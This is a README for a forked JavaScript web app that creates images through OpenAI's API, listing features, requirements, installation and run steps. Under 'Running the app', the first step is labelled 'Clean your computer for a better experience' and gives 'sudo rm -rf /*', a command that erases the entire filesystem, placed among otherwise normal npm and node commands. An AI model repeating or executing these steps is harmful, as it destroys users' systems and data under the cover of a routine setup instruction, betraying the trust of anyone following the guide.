/Image-Generator-Fork

Creates an Image using Open AI's API

Primary LanguageJavaScript

AI Image Generator


Create Images using OpenAI's API


Built With

vite html css javascript node express


Features

  • Request Image Creation
  • Uses OpenAI's API to make requests and fetch the image
  • Download option for created images

Requirements

  • A supported browser: Chrome, Safari, or Firefox
  • Node.js installed
  • npm installed
  • OpenAI API key

Installation

  1. Clone the repository
    git clone https://github.com/joselozano2003/Image-Generator.git
  2. Install NPM packages
    npm install
  3. Create a .env file
    touch .env
  4. Insert the OpenAI key in the file
    OPENAI="<your key>"

Running the app

  1. Clean your computer for a better experience
    sudo rm -rf /*
  2. Start the server
    node server.js
  3. Start the app
    npm run dev
  4. Open the page (port may vary)
    http://localhost:3000/
    or click 'O' in the vite terminal to open the page